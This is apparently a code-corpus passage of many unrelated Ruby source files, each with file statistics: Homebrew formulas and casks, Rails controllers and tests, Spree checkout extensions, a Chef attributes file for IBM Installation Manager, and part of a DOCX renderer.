<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>Program</key>
<string>#{opt_bin}/couchpotatoserver</string>
<key>ProgramArguments</key>
<array>
<string>--quiet</string>
<string>--daemon</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>UserName</key>
<string>#{`whoami`.chomp}</string>
</dict>
</plist>
EOS
end
def startup_script; <<-EOS.undent
#!/bin/bash
python "#{libexec}/CouchPotato.py"\
"--pid_file=#{var}/run/couchpotatoserver.pid"\
"--data_dir=#{etc}/couchpotatoserver"\
"$@"
EOS
end
def caveats
"CouchPotatoServer defaults to port 5050."
end
end
| 26.037736 | 106 | 0.619565 |
62fc0b173b40940c480cc2214f9b884d4547e15c | 1,273 | # frozen_string_literal: true
# Copyright 2015 Australian National Botanic Gardens
#
# This file is part of the NSL Editor.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "test_helper"
# Single integration test.
class SelectedAbbrevTest < ActionDispatch::IntegrationTest
include Capybara::DSL
test "it" do
names_count = Name.count
visit_home_page
fill_in "search-field", with: "create scientific name with author"
load_new_scientific_name_form
set_name_parent
fill_in("name_name_element", with: "Fred")
fill_in_author_typeahead("author-by-abbrev", "name_author_id")
save_new_record
assert_successful_create_for(["Authored by", "Authored by Benth."])
Name.count.must_equal names_count + 1
end
end
| 32.641026 | 76 | 0.747054 |
bba6c9dd2c054e26fa9b8490491ca88c428064e7 | 1,543 | require 'spec_helper'
RSpec.describe Rubijan::Yaku::ThirteenOrphans do
describe '#name' do
it 'return right name in japanese' do
expect(Rubijan::Yaku::ThirteenOrphans.name).to eq '国士無双'
end
end
describe '#check' do
it 'with appropriate hand will return true' do
hand = {11 => 2, 19 => 1, 21 => 1, 29 => 1, 31 => 1, 39 => 1,
41 => 1, 42 => 1, 43 => 1, 44 => 1, 45 => 1, 46 => 1, 47 => 1}
expect(Rubijan::Yaku::ThirteenOrphans.check(hand)).to eq true
end
it 'with hand of not thirteen orphans will return false' do
hand = {11 => 3, 21 => 1, 29 => 1, 31 => 1, 39 => 1,
41 => 1, 42 => 1, 43 => 1, 44 => 1, 45 => 1, 46 => 1, 47 => 1}
expect(Rubijan::Yaku::ThirteenOrphans.check(hand)).to eq false
end
end
describe '#shape' do
it 'with appropriate hand will return one dimension array' do
hand = {11 => 2, 19 => 1, 21 => 1, 29 => 1, 31 => 1, 39 => 1,
41 => 1, 42 => 1, 43 => 1, 44 => 1, 45 => 1, 46 => 1, 47 => 1}
expect = [11, 11, 19, 21, 29, 31, 39, 41, 42, 43, 44, 45, 46, 47]
expect(Rubijan::Yaku::SevenPairs.shape(hand)).to eq expect
end
it 'with hand of not thirteen orphans will return one dimension array' do
hand = {11 => 3, 21 => 1, 29 => 1, 31 => 1, 39 => 1,
41 => 1, 42 => 1, 43 => 1, 44 => 1, 45 => 1, 46 => 1, 47 => 1}
expect = [11, 11, 11, 21, 29, 31, 39, 41, 42, 43, 44, 45, 46, 47]
expect(Rubijan::Yaku::SevenPairs.shape(hand)).to eq expect
end
end
end
| 38.575 | 77 | 0.53208 |
6a9064bb667e5e1456c86e9f0c88594ce3612bb6 | 925 | class Gleam < Formula
desc "✨ A statically typed language for the Erlang VM"
homepage "https://gleam.run"
url "https://github.com/lpil/gleam/archive/v0.10.0.tar.gz"
sha256 "f909fc7c89c950f7a8fffc943733dc4bac3b0b88eb7d7760eb04732347459ba1"
bottle do
cellar :any_skip_relocation
sha256 "d6cc30c84004f50f76c4d7501814e5311482619c96b56e7e51f9b706e3490c25" => :catalina
sha256 "724d94e8bf2556d9485423de6ed21efbc53326114f245d9ac24d96e20f57a96d" => :mojave
sha256 "4735f65ab3a0ae5614feaf1433cd103edc1ea6ee2de59c2383e051047834ff55" => :high_sierra
end
depends_on "rust" => :build
depends_on "erlang"
depends_on "rebar3"
on_linux do
depends_on "pkg-config" => :build
end
def install
system "cargo", "install", *std_cargo_args
end
test do
Dir.chdir testpath
system "#{bin}/gleam", "new", "test_project"
Dir.chdir "test_project"
system "rebar3", "eunit"
end
end
| 28.030303 | 93 | 0.747027 |
b975251a60560b6f2ebcb2e4f5ca9fc57f66d9e9 | 662 | Pod::Spec.new do |s|
s.name = 'Dependency'
s.version = '1.0.1'
s.license = { :type => 'MIT' }
s.homepage = 'https://github.com/hacoma/Synstagram-Dependency'
s.authors = { 'hacoma' => '[email protected]' }
s.summary = 'Dependency for iOS application'
s.swift_version = '5.0'
s.ios.deployment_target = '11.0'
s.source = { :git => 'https://github.com/hacoma/Synstagram-Dependency.git', :tag => s.version }
s.default_subspec = :none
s.subspec 'Login' do |ss|
ss.source_files = 'Dependency/Module/Login/Source/*.swift'
end
s.subspec 'AlbumList' do |ss|
ss.source_files = 'Dependency/Module/AlbumList/Source/*.swift'
end
end | 28.782609 | 97 | 0.6571 |
085276a6dcabe3a224c1fc9ce9db35ea298a34d8 | 618 | module DiscountNetwork
class Booking < Base
def find(booking_id)
DiscountNetwork.get_resource(
["bookings", booking_id].join("/")
).travel_request
end
def create(search_id:, hotel_id:, travellers:, properties:, **attrs)
attributes = attrs.merge(
search_id: search_id,
travellers_attributes: build_array_params(travellers),
properties_attributes: build_array_params(
properties.merge(property_id: hotel_id)
)
)
DiscountNetwork.post_resource(
"bookings", booking: attributes
).travel_request
end
end
end
| 25.75 | 72 | 0.658576 |
1a44e5e1e4cfa6dc02a63af944ed7b70c343c639 | 2,251 | class UsersController < ApplicationController
load_and_authorize_resource :user
before_filter :signed_in_user, only: [:edit,:update]
def edit
@setting = true
end
def show
@setting = current_user == @user
@admin = current_user.is_admin?
if @admin
@request_count = RoleRequest.count
end
end
respond_to :html, :json
def update
#TODO: update user role could cause database inconsistency
#TODO: send notification email for change of role
#TODO: ugly way of insuring no hacking of updating role
#user update info
if params[:id].nil?
authorize! :manage, current_user
respond_to do |format|
if current_user.update_attributes(params[:user])
flash[:success] = 'Updated successfully.'
format.html { redirect_to edit_user_path(current_user) }
else
format.html { redirect_to edit_user_path(current_user) }
end
end
#admin update user role
elsif params[:user].to_s.size > 0 and !params[:user][:system_role_id].nil?
authorize! :update_role, @user
@user.update_user_role(params[:user][:system_role_id])
UserMailer.delay.update_user_role(@user)
respond_with @user
else
authorize! :manage, @user
@user.name = params[:name]
@user.email = params[:email]
respond_to do |format|
if @user.save
format.html { redirect_to params[:redirect_back_url], notice: 'Updated successfully.' }
else
format.html { redirect_to params[:redirect_back_url], alert:"Invalid email: #{params[:email]}" }
end
end
end
end
def destroy
authorize! :destroy, @user
@user.is_pending_deletion = true
@user.save
UserMailer.delay.user_deleted(@user.name, @user.email)
Delayed::Job.enqueue(BackgroundJob.new(0, :delete_user, User.name, @user.id))
respond_to do |format|
flash[:notice] = "'#{@user.name}' is pending for deletion."
redirect_url = params[:origin] || courses_url
format.html { redirect_to redirect_url }
format.json { head :no_content }
end
end
private
def change_role_not_allowed
redirect_to access_denied_path, alert: "You are not allowed to change your role."
end
end
| 30.835616 | 106 | 0.668592 |
e9e353e83006cdeaaffbaa589dbe9f6ebc66dd7f | 820 | class TaxCharge < Charge
def calculate_adjustment
adjustment_source && calculate_tax_charge
end
# Calculates taxation amountbased on Calculator::Vat or Calculator::SalesTax
def calculate_tax_charge
return Calculator::Vat.calculate_tax(order) if order.shipment.address.blank? and Spree::Config[:show_price_inc_vat]
return unless order.shipment.address
zones = Zone.match(order.shipment.address)
tax_rates = zones.map{|zone| zone.tax_rates}.flatten.uniq
calculated_taxes = tax_rates.map{|tax_rate| tax_rate.calculate_tax(order)}
return(calculated_taxes.sum)
end
# Checks if charge is applicable for the order.
# if it's tax or shipping charge we always preserve it (even if it's 0)
# otherwise we fall back to default adjustment behaviour.
def applicable?
true
end
end | 37.272727 | 119 | 0.763415 |
4af376b880fc25b32083e37d3406b6cd7e1d50b2 | 1,473 | require 'singleton'
require 'httparty'
require 'deep_merge'
module Copperegg
module Alerts
class Client
include Singleton
attr_reader :api_base_uri
def initialize
@api_base_uri = 'https://api.copperegg.com/v2/'
end
def auth_setup(api_key)
@auth = {:basic_auth => {:username => api_key, :password => 'U'}}
return self
end
JSON = {'content-type' => 'application/json'}
def method_missing(method, resource, *args)
if method.to_s =~ /\?$/
method = method.to_s.sub!(/\?$/, '')
result = self.send(method.to_sym, resource, *args)
return result if result.code == 200
end
end
def get(path)
_send(:get, path)
end
def post(path, body)
_send(:post, path, body)
end
def put(path, body)
_send(:put, path, body)
end
def delete(path)
_send(:delete, path)
end
private
def _send(method, path, body = {})
auth = @auth.clone
unless body.empty?
auth.merge!({:headers => JSON}.merge!({:body => body.to_json}))
end
response = HTTParty.send(method.to_sym, @api_base_uri + path, auth.to_hash)
if response.code != 200
raise("HTTP/#{method} Request failed. Response code `#{response.code}`, message `#{response.message}`, body `#{response.body}`")
end
response
end
end
end
end
| 23.015625 | 138 | 0.56076 |
4af4f756d96105f97a107686fa0f142c631c4bbf | 677 | # frozen_string_literal: true
module AASMMermaid
# Mermaid diagram
# @private
class Diagram
# @param aasm [AASM::Base] aasm instance
def initialize(aasm:)
self.aasm = aasm
end
# @return [String] Mermaid diagram string
def generate
"stateDiagram-v2\n#{transitions_string}"
end
private
attr_accessor :aasm
def events
@events ||= aasm.events.map do |aasm_event|
Event.new(aasm_event: aasm_event)
end
end
def transitions
events.map(&:transitions).flatten
end
def transitions_string
transitions.map(&:to_diagram_string).join("\n")
end
end
end
| 18.805556 | 55 | 0.624815 |
398abbd0e76922cd430011d5117a295ec7f18d05 | 211 | class Array
def group_by(&block)
raise ArgumentError unless block
inject({}) do |hash, elem|
key = block.call(elem)
hash[key] ||= []
hash[key].push(elem)
hash
end
end
end
| 17.583333 | 36 | 0.578199 |
d525329241742e85d3c5d4ca8b52591b1b25e966 | 1,012 | class TipoRegion < ActiveRecord::Base
self.table_name = "#{CONFIG.bases.cat}.tipos_regiones"
self.primary_key = 'id'
has_many :regiones
TIPOS_REGIONES = ['ESTADO', 'REGIONES HIDROLÓGICAS PRIORITARIAS', 'REGIONES MARINAS PRIORITARIAS',
'REGIONES TERRESTRES PRIORITARIAS', 'ECORREGIONES MARINAS', 'REGIONES MORFOLÓGICAS', 'REGIONES COSTERAS']
REGION_POR_NIVEL = {'100' => 'País', '110' => 'Estatal', '111' => 'Municipal',
'200' => 'Regiones hidrólogicas prioritarias', '300' => 'Regiones Marinas prioritarias',
'400' => 'Regiones terrestres prioritarias', '500' => 'Ecorregiones marinas',
'510' => 'Regiones morfológicas', '511' => 'Regiones costeras'}
def self.iniciales
limites = Bases.limites(1000000) #por default toma la primera
id_inferior = limites[:limite_inferior]
id_superior = limites[:limite_superior]
where(:descripcion => TIPOS_REGIONES, :id => id_inferior..id_superior)
end
end
| 46 | 125 | 0.660079 |
1ce9198e87988d49779d530fc445050762ecb9e4 | 2,142 | class AddCoresAllocatedRateDetail < ActiveRecord::Migration[5.0]
class ChargebackRate < ActiveRecord::Base
has_many :chargeback_rate_details, :class_name => 'AddCoresAllocatedRateDetail::ChargebackRateDetail'
end
class ChargebackTier < ActiveRecord::Base
FORM_ATTRIBUTES = %i(fixed_rate variable_rate start finish).freeze
end
class ChargeableField < ActiveRecord::Base; end
class ChargebackRateDetail < ActiveRecord::Base
belongs_to :chargeback_rate, :class_name => 'AddCoresAllocatedRateDetail::ChargebackRate'
belongs_to :chargeable_field
has_many :chargeback_tiers, :class_name => 'AddCoresAllocatedRateDetail::ChargebackTier'
end
def up
chargeable_field = ChargeableField.find_or_create_by(:metric => "derived_vm_numvcpu_cores",
:description => "Allocated CPU Cores",
:group => "cpu_cores",
:source => "allocated")
rate_detail_template = ChargebackRateDetail.where(:description => "Allocated CPU Count").first
return if rate_detail_template.nil? # No rates that need this detail.
rate_detail_template = rate_detail_template.dup
rate_detail_template.chargeable_field = chargeable_field
rate_detail_template.description = "Allocated CPU Cores"
rate_detail_template.per_unit = "cpu core"
tier_template = {:start => 0, :finish => Float::INFINITY, :fixed_rate => 1.0, :variable_rate => 0.0}
# Add to cb rates that do not have the "Allocated CPU Cores" cb detail
ChargebackRate.where(:rate_type => "Compute").where.not(:id => ChargebackRateDetail.where(:description => "Allocated CPU Cores").select(:chargeback_rate_id)).each do |rate|
new_rate_detail = rate_detail_template.dup
new_rate_detail.chargeback_tiers << ChargebackTier.new(tier_template.slice(*ChargebackTier::FORM_ATTRIBUTES))
rate.chargeback_rate_details << new_rate_detail
end
end
def down
ChargebackRateDetail.where(:description => "Allocated CPU Cores").destroy_all
end
end
| 48.681818 | 176 | 0.697946 |
28e0d104ea6ba28054e9e7170f68bd8dd8751b72 | 2,652 | require 'spree_core'
require 'one_page_checkout_hooks'
module OnePageCheckout
class Engine < Rails::Engine
config.autoload_paths += %W(#{config.root}/lib)
def self.activate
Dir.glob(File.join(File.dirname(__FILE__), "../app/**/*_decorator*.rb")) do |c|
Rails.env.production? ? require(c) : load(c)
end
#Order.send(:include, OrderDecorator)
CheckoutController.class_eval do
def before_one_page
@order.bill_address ||= Address.new(:country => default_country)
@order.ship_address ||= Address.new(:country => default_country)
@order.shipping_method ||= (@order.rate_hash.first && @order.rate_hash.first[:shipping_method])
@order.payments.destroy_all if request.put?
end
# change this to alias / spree
def object_params
if params[:payment_source].present? && source_params = params.delete(:payment_source)[params[:order][:payments_attributes].first[:payment_method_id].underscore]
params[:order][:payments_attributes].first[:source_attributes] = source_params
end
if (params[:order][:payments_attributes])
params[:order][:payments_attributes].first[:amount] = @order.total
end
params[:order]
end
end
Order.class_eval do
state_machines.clear
state_machines[:state] = StateMachine::Machine.new(Order, :initial => 'cart', :use_transactions => false) do
event :next do
transition :from => 'cart', :to => 'one_page'
transition :from => 'one_page', :to => 'complete'
end
event :cancel do
transition :to => 'canceled', :if => :allow_cancel?
end
event :return do
transition :to => 'returned', :from => 'awaiting_return'
end
event :resume do
transition :to => 'resumed', :from => 'canceled', :if => :allow_resume?
end
event :authorize_return do
transition :to => 'awaiting_return'
end
before_transition :to => 'complete' do |order|
begin
order.process_payments!
rescue Spree::GatewayError
if Spree::Config[:allow_checkout_on_gateway_error]
true
else
false
end
end
end
after_transition :to => 'complete', :do => :finalize!
after_transition :to => 'canceled', :do => :after_cancel
end
end
end
config.to_prepare &method(:activate).to_proc
end
end
| 36.328767 | 170 | 0.57994 |
ed7917c48a43e5ce3354a826bee2b29452366bda | 758 | module SpaceMembershipService
# Disables space member.
module ToDisable
# @param [DNAnexusAPI] api
# @param [Space] space
# @param [SpaceMembership] member
# @param [SpaceMembership] admin_member
def self.call(api, space, member, admin_member)
return false unless member
return false unless admin_member
return false unless SpaceMembershipPolicy.can_disable?(space, admin_member, member)
member.active = false
SpaceMembershipService::Update.call(api, space, member)
create_event(space, member, admin_member)
end
def self.create_event(space, member, admin_member)
SpaceEventService.call(space.id, admin_member.user_id, admin_member, member, :membership_disabled)
end
end
end
| 30.32 | 104 | 0.726913 |
ffd2b490672d50ddfc78a3eb4f371dbdc540195e | 279 | require 'test_helper'
class TweetsControllerTest < ActionDispatch::IntegrationTest
def setup
@other_user = users(:jane)
end
test "logged in users should get index" do
login_test_user(@other_user)
get deleted_tweets_url
assert_response :success
end
end
| 18.6 | 60 | 0.749104 |
bf8ac6f0cf4a2d71a86863f2049061931d39e472 | 7,367 | # encoding: UTF-8
########################################################
# Copyright IBM Corp. 2012, 2019
########################################################
#
# <> Installation Manager Version Number to be installed. Supported versions: 1.8.5
default['im']['version'] = '1.8.8'
# <> Installation Manager Mode, Admin / NonAdmin / Group
default['im']['install_mode'] = ''
# <> The URL to the root directory of the HTTP server hosting the software installation packages i.e. http://<hostname>:<port>
default['ibm']['sw_repo'] = ''
# <> The user that should be used to authenticate on software repository
default['ibm']['sw_repo_user'] = ''
# <> The password of sw_repo_user
default['ibm']['sw_repo_password'] = ''
# <> the URL to the root directory of the local IM repository (http://<hostname/IP>:<port>/IMRepo)
default['ibm']['im_repo'] = ''
# <> The user that should be used to authenticate on IM repository
default['ibm']['im_repo_user'] = ''
# <> The password of im_repo_user
default['ibm']['im_repo_password'] = ''
# <> The path to the directory where the software installation packages are located
force_override['im']['sw_repo_path'] = '/im/v1x/base'
# <> Installation Manager Fixpack ID.
default['im']['fixpack_offering_id'] = 'com.ibm.cic.agent'
force_override['im']['supported_versions'] = ['1.8.5', '1.8.6', '1.8.8', '1.9.0']
Chef::Log.info("Checking supported IM version")
raise "IM version #{node['im']['version']} not supported" unless node['im']['supported_versions'].include? node['im']['version']
Chef::Log.info("PASS: IM Version is: #{node['im']['version']}")
force_override['im']['supported_versions'] = ['1.8.5', '1.8.6', '1.8.8', '1.9.0']
Chef::Log.info("Checking supported IM version")
raise "IM version #{node['im']['version']} not supported" unless node['im']['supported_versions'].include? node['im']['version']
Chef::Log.info("PASS: IM Version is: #{node['im']['version']}")
case node['platform_family']
when 'rhel', 'debian'
case node['kernel']['machine']
when 'x86_64'
default['im']['arch'] = 'x86_64'
# <> Installation Manager Version 1.8.5, 1.8.6, 1.8.8, 1.9.0
force_override['im']['archive_names'] =
{ '1.8.5' => { 'filename' => 'agent.installer.linux.gtk.' + node['im']['arch'] + '_1.8.5000.20160506_1125.zip',
'sha256' => '76190adf69f6e4a6a8d7432983f5aebe68d56545a3a13b3ecd6b25c12d433b04' },
'1.8.6' => { 'filename' => 'agent.installer.linux.gtk.' + node['im']['arch'] + '_1.8.6000.20161118_1611.zip',
'sha256' => 'b253a06bccace5934b108632487182f6a6f659082fea69372242b9865a64e4f3' },
'1.8.8' => { 'filename' => 'agent.installer.linux.gtk.' + node['im']['arch'] + '_1.8.8000.20171130_1105.zip',
'sha256' => '272f1ca65dcf502ad72268e6852c9922551714b8ce53c78e054764243d832a78' },
'1.9.0' => { 'filename' => 'agent.installer.linux.gtk.' + node['im']['arch'] + '_1.9.0.20190715_0328.zip',
'sha256' => 'd8779094e9bc1ebcb4e60d142bf32f13cbe3c72e758f3bb72ac108200af2e0a5' } }
end
# <> An absolute path to a directory that will be used to hold any temporary files created as part of the automation
default['ibm']['temp_dir'] = '/tmp/ibm_cloud'
# <> An absolute path to a directory that will be used to hold any persistent files created as part
default['ibm']['log_dir'] = '/var/log/ibm_cloud'
# <> A temporary directory used for the extraction of installation files
default['ibm']['expand_area'] = node['ibm']['temp_dir'] + '/expand_area'
# <> An absolute path to a directory that will be used to store the evidence file created as part of the automation
default['ibm']['evidence_path'] = node['ibm']['log_dir'] + '/evidence'
# <> An absolute path to a file that will be used to store the evidence artifacts created as part of the automation
default['ibm']['evidence_zip'] = "#{node['ibm']['evidence_path']}/im-#{node['hostname']}-#{Time.now.strftime('%Y-%m-%d%H-%M-%S')}.tar"
# <> A temporary directory used for the extraction of installation files
force_override['im']['expand_area'] = node['ibm']['expand_area'] + '/im'
when 'windows'
# <> An absolute path to a directory that will be used to hold any temporary files created as part of the automation
default['ibm']['temp_dir'] = 'C:\\temp\\ibm_cloud'
# <> An absolute path to a directory that will be used to hold any persistent files created as part of the automation
default['ibm']['log_dir'] = 'C:\\temp\\ibm_cloud\\log'
# <> A temporary directory used for the extraction of installation files
default['ibm']['expand_area'] = node['ibm']['temp_dir'] + '\\expand_area'
# <> An absolute path to a directory that will be used to store the evidence file created as part of the automation
default['ibm']['evidence_path']= node['ibm']['log_dir'] + '\\evidence'
# <> An absolute path to a file that will be used to store the evidence artifacts created as part of the automation
default['ibm']['evidence_zip'] = "#{node['ibm']['evidence_path']}/im-#{node['hostname']}-#{Time.now.strftime('%Y-%m-%d_%H-%M-%S')}.zip"
# <> A temporary directory used for the extraction of installation files
force_override['im']['expand_area'] = node['ibm']['expand_area'] + '\\im'
end
# This will be used only for standalone installation for tests
case node['im']['install_mode']
when 'nonAdmin'
default['im']['os_users']['im_user']['name'] = 'imuser'
default['im']['os_users']['im_user']['gid'] = 'imgroup'
default['im']['os_users']['im_user']['ldap_user'] = 'false'
default['im']['os_users']['im_user']['comment'] = 'IM Non-Admin mode user'
default['im']['os_users']['im_user']['home'] = '/home/imuser'
default['im']['os_users']['im_user']['shell'] = '/bin/bash'
when 'group'
default['im']['os_users']['im_user']['name'] = 'imuser'
default['im']['os_users']['im_user']['gid'] = 'imgroup'
default['im']['os_users']['im_user']['ldap_user'] = 'false'
default['im']['os_users']['im_user']['comment'] = 'IM Group mode'
default['im']['os_users']['im_user']['home'] = '/home/imuser'
default['im']['os_users']['im_user']['shell'] = '/bin/bash'
when 'admin'
default['im']['os_users']['im_user']['name'] = 'root'
default['im']['os_users']['im_user']['gid'] = node['root_group']
default['im']['os_users']['im_user']['ldap_user'] = 'false'
default['im']['os_users']['im_user']['comment'] = 'IM Admin mode'
default['im']['os_users']['im_user']['home'] = '/root'
default['im']['os_users']['im_user']['shell'] = '/bin/bash'
end
#-------------------------------------------------------------------------------
# Landscaper compatibility attributes
#-------------------------------------------------------------------------------
# <> The stack id
default['ibm_internal']['stack_id'] = ''
# <> The stack name
default['ibm_internal']['stack_name'] = ''
# <> List of roles on the node
default['ibm_internal']['roles'] = ''
# <> The vault name for this stack
default['ibm_internal']['vault']['name'] = ''
# <> The vault item which will contain the secrets
default['ibm_internal']['vault']['item'] = ''
# <> The vault name for this cookbook
default['im']['vault']['name'] = node['ibm_internal']['vault']['name']
# <> ID in the vault that is encrypted. Preferably the root ID, to encrypt everything
default['im']['vault']['encrypted_id'] = node['ibm_internal']['vault']['item']
| 51.880282 | 137 | 0.636623 |
3311b2b4e7201b29fcc93e353d1326036058fe53 | 259 | # Don't forget! This file needs to be 'required' in its spec file
# See README.md for instructions on how to do this
def fizzbuzz(int)
if int % 3 == 0 && int % 5 == 0
"FizzBuzz"
elsif int % 3 == 0
"Fizz"
elsif int % 5 == 0
"Buzz"
end
end | 21.583333 | 65 | 0.598456 |
26300ab8db3b9cd3d780963e0ceea6977cb606b3 | 1,599 | # frozen_string_literal: true
require 'test_helper'
class LanguageFactTest < ActiveSupport::TestCase
let(:date_range) { [3.months.ago, 2.months.ago, 1.month.ago, Date.current].map(&:beginning_of_month) }
let(:create_all_months) do
date_range.each { |date| create(:all_month, month: date) }
end
let(:language) { create(:language) }
describe 'report' do
it 'should return all month fact reports' do
create(:language_fact, language: language, month: 3.months.ago.beginning_of_month, loc_changed: 25)
create_all_months
language_fact_report = LanguageFact.report(language)
language_fact_report.length.must_equal 3
language_fact_report.map(&:loc_changed).must_equal [25, nil, nil]
language_fact_report.map(&:percent).must_equal [100.0, 0.0, 0.0]
end
it 'should allow start and end month' do
create_all_months
language_fact_report = LanguageFact.report(language, start_month: 2.months.ago.beginning_of_month,
end_month: 2.months.ago.beginning_of_month)
language_fact_report.length.must_equal 1
end
it 'should compute for other measure types' do
create_all_months
create(:language_fact, language: language, month: 3.months.ago.beginning_of_month, commits: 25)
language_fact_report = LanguageFact.report(language, measure: 'commits')
language_fact_report.length.must_equal 3
language_fact_report.map(&:commits).must_equal [25, nil, nil]
language_fact_report.map(&:percent).must_equal [100.0, 0.0, 0.0]
end
end
end
| 41 | 105 | 0.706066 |
ffb6f191646ff6d6e24450224ee1956a436b64bd | 535 | class WeaponsController < ApplicationController
before_action :set_weapon, only: [:destroy]
def index
@weapons = Weapon.all
end
def create
@weapon = Weapon.create(params_weapon)
end
def destroy
@weapon.destroy
head :no_content
end
def show
@weapon = Weapon.find(params[:id])
end
private
def params_weapon
params.require(:weapon).permit(:name, :power_base, :power_step, :level, :description)
end
def set_weapon
@weapon = Weapon.find(params[:id])
end
end
| 17.258065 | 91 | 0.663551 |
188653bd9b914a63f70d05c4990d96a995b9687d | 300 | begin
require 'i18n'
require 'active_support/lazy_load_hooks'
rescue LoadError => e
$stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
raise e
end
ActiveSupport.run_load_hooks(:i18n)
I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
| 27.272727 | 100 | 0.76 |
7ae092f78fefc0e86ea82dd162c47f6191569aa9 | 521 | cask 'poedit' do
if MacOS.version <= :mavericks
version '1.8.12'
sha256 '0aa721a0733eb04635685d280093aeef56b28c0baddf0fc265e1c7d448dbc615'
url "https://poedit.net/dl/Poedit-#{version}.zip"
else
version '2.3.1'
sha256 'a6e5314df29a1ac04a4798e28b74462b829c96f1d037058145083fea2a43e891'
url "https://download.poedit.net/Poedit-#{version}.zip"
appcast "https://poedit.net/updates_v#{version.major}/osx/appcast"
end
name 'Poedit'
homepage 'https://poedit.net/'
app 'Poedit.app'
end
| 26.05 | 77 | 0.725528 |
212eb65bf9476b98af6feccf001aa40854988736 | 354 | class FollowUpSlotAlertsJob < ApplicationJob
queue_as :mailers
def perform
return if Flipper.enabled?(:skip_follow_up_slot_alerts)
SlotAlert
.where("created_at between ? and ?", 24.hours.ago, 12.hours.ago)
.where.not(sent_at: nil)
.where(follow_up_sent_at: nil).find_each do |alert|
alert.follow_up
end
end
end
| 25.285714 | 70 | 0.70339 |
912745729972a160bf9feb4234a8ecd9cd0ed303 | 1,064 | # Encoding: utf-8
#
# This is auto-generated code, changes will be overwritten.
#
# Copyright:: Copyright 2015, Google Inc. All Rights Reserved.
# License:: Licensed under the Apache License, Version 2.0.
#
# Code generated by AdsCommon library 0.11.2 on 2015-11-18 12:17:23.
require 'ads_common/savon_service'
require 'dfp_api/v201511/publisher_query_language_service_registry'
module DfpApi; module V201511; module PublisherQueryLanguageService
class PublisherQueryLanguageService < AdsCommon::SavonService
def initialize(config, endpoint)
namespace = 'https://www.google.com/apis/ads/publisher/v201511'
super(config, endpoint, namespace, :v201511)
end
def select(*args, &block)
return execute_action('select', args, &block)
end
def select_to_xml(*args)
return get_soap_xml('select', args)
end
private
def get_service_registry()
return PublisherQueryLanguageServiceRegistry
end
def get_module()
return DfpApi::V201511::PublisherQueryLanguageService
end
end
end; end; end
| 27.282051 | 69 | 0.735902 |
e83ad40a263f95b876393c7978039cbe8e6d8744 | 15,958 | require 'nokogiri'
require 'caracal/renderers/xml_renderer'
require 'caracal/errors'
module Caracal
module Renderers
class DocumentRenderer < XmlRenderer
#-------------------------------------------------------------
# Public Methods
#-------------------------------------------------------------
# This method produces the xml required for the `word/document.xml`
# sub-document.
#
def to_xml
builder = ::Nokogiri::XML::Builder.with(declaration_xml) do |xml|
xml['w'].document root_options do
xml['w'].background({ 'w:color' => 'FFFFFF' })
xml['w'].body do
#============= CONTENTS ===================================
document.contents.each do |model|
method = render_method_for_model(model)
send(method, xml, model)
end
#============= PAGE SETTINGS ==============================
xml['w'].sectPr do
if document.page_number_show
if rel = document.find_relationship('footer1.xml')
xml['w'].footerReference({ 'r:id' => rel.formatted_id, 'w:type' => 'default' })
end
end
xml['w'].pgSz page_size_options
xml['w'].pgMar page_margin_options
end
end
end
end
builder.to_xml(save_options)
end
#-------------------------------------------------------------
# Private Methods
#-------------------------------------------------------------
private
#============= COMMON RENDERERS ==========================
# This method converts a model class name to a rendering
# function on this class (e.g., Caracal::Core::Models::ParagraphModel
# translates to `render_paragraph`).
#
def render_method_for_model(model)
type = model.class.name.split('::').last.downcase.gsub('model', '')
"render_#{ type }"
end
# This method renders a standard node of run properties based on the
# model's attributes.
#
def render_run_attributes(xml, model, paragraph_level=false)
if model.respond_to? :run_attributes
attrs = model.run_attributes.delete_if { |k, v| v.nil? }
if paragraph_level && attrs.empty?
# skip
else
xml['w'].rPr do
unless attrs.empty?
xml['w'].rStyle( { 'w:val' => attrs[:style] }) unless attrs[:style].nil?
xml['w'].color( { 'w:val' => attrs[:color] }) unless attrs[:color].nil?
xml['w'].sz( { 'w:val' => attrs[:size] }) unless attrs[:size].nil?
xml['w'].b( { 'w:val' => (attrs[:bold] ? '1' : '0') }) unless attrs[:bold].nil?
xml['w'].i( { 'w:val' => (attrs[:italic] ? '1' : '0') }) unless attrs[:italic].nil?
xml['w'].u( { 'w:val' => (attrs[:underline] ? 'single' : 'none') }) unless attrs[:underline].nil?
xml['w'].shd( { 'w:fill' => attrs[:bgcolor], 'w:val' => 'clear' }) unless attrs[:bgcolor].nil?
xml['w'].highlight( { 'w:val' => attrs[:highlight_color] }) unless attrs[:highlight_color].nil?
xml['w'].vertAlign( { 'w:val' => attrs[:vertical_align] }) unless attrs[:vertical_align].nil?
unless attrs[:font].nil?
f = attrs[:font]
xml['w'].rFonts( { 'w:ascii' => f, 'w:hAnsi' => f, 'w:eastAsia' => f, 'w:cs' => f })
end
end
xml['w'].rtl({ 'w:val' => '0' })
end
end
end
end
#============= MODEL RENDERERS ===========================
def render_bookmark(xml, model)
if model.start?
xml['w'].bookmarkStart({ 'w:id' => model.bookmark_id, 'w:name' => model.bookmark_name })
else
xml['w'].bookmarkEnd({ 'w:id' => model.bookmark_id })
end
end
def render_iframe(xml, model)
::Zip::File.open(model.file) do |zip|
a_href = 'http://schemas.openxmlformats.org/drawingml/2006/main'
pic_href = 'http://schemas.openxmlformats.org/drawingml/2006/picture'
r_href = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
entry = zip.glob('word/document.xml').first
content = entry.get_input_stream.read
doc_xml = Nokogiri::XML(content)
fragment = doc_xml.xpath('//w:body').first.children
fragment.pop
model.relationships.each do |r_hash|
id = r_hash.delete(:id) # we can't update the fragment until
model = document.relationship(r_hash) # the parent document assigns the embedded
index = model.relationship_id # relationship an id.
r_node = fragment.at_xpath("//a:blip[@r:embed='#{ id }']", { a: a_href, r: r_href })
if r_attr = r_node.attributes['embed']
